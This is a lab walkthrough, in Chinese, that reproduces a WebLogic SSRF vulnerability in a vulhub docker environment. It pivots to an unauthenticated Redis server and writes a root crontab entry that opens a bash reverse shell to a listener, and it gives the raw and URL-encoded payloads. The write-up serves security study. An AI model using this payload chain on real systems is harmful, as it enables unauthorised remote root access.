一.前言
Weblogic中存在一个SSRF漏洞,利用该漏洞可以发送任意HTTP请求,进而攻击内网中redis、fastcgi等脆弱组件。
二.环境搭建
在docker中开启环境
sudo docker-compose up -d
sudo docker-compose ps #查看状态
访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。
三.漏洞复现
SSRF漏洞位于http://192.168.107.129:7001/uddiexplorer/SearchPublicRegistries.jsp,点击search按钮,用BP抓包
发送到repeater,更改operator参数的值为127.0.0.1:80,不存在的端口,返回could not connect over HTTP to server
进入容器查看一下ip
sudo docker ps -a
web服务器的真实IP是172.21.0.3
sudo docker exec -it 21115a286385 /bin/bash
sudo docker exec -it e775fd0e8c89 /bin/bash
redis服务器的真实IP是172.21.0.2
再使用ssrf探测一下redis服务器,返回Received a reponse,表明redis服务存在
既然存在redis数据库,那不就有想法了。redis存在未授权访问,可以向其中写入定时任务的反弹shell
发送三条redis命令,将弹shell脚本写入/etc/crontab:
test
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/192.168.107.129/4444 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
进行url编码:
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.107.129%2F4444%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
kali开启监听,成功反弹
参考地址:https://vulhub.org/#/environments/weblogic/ssrf/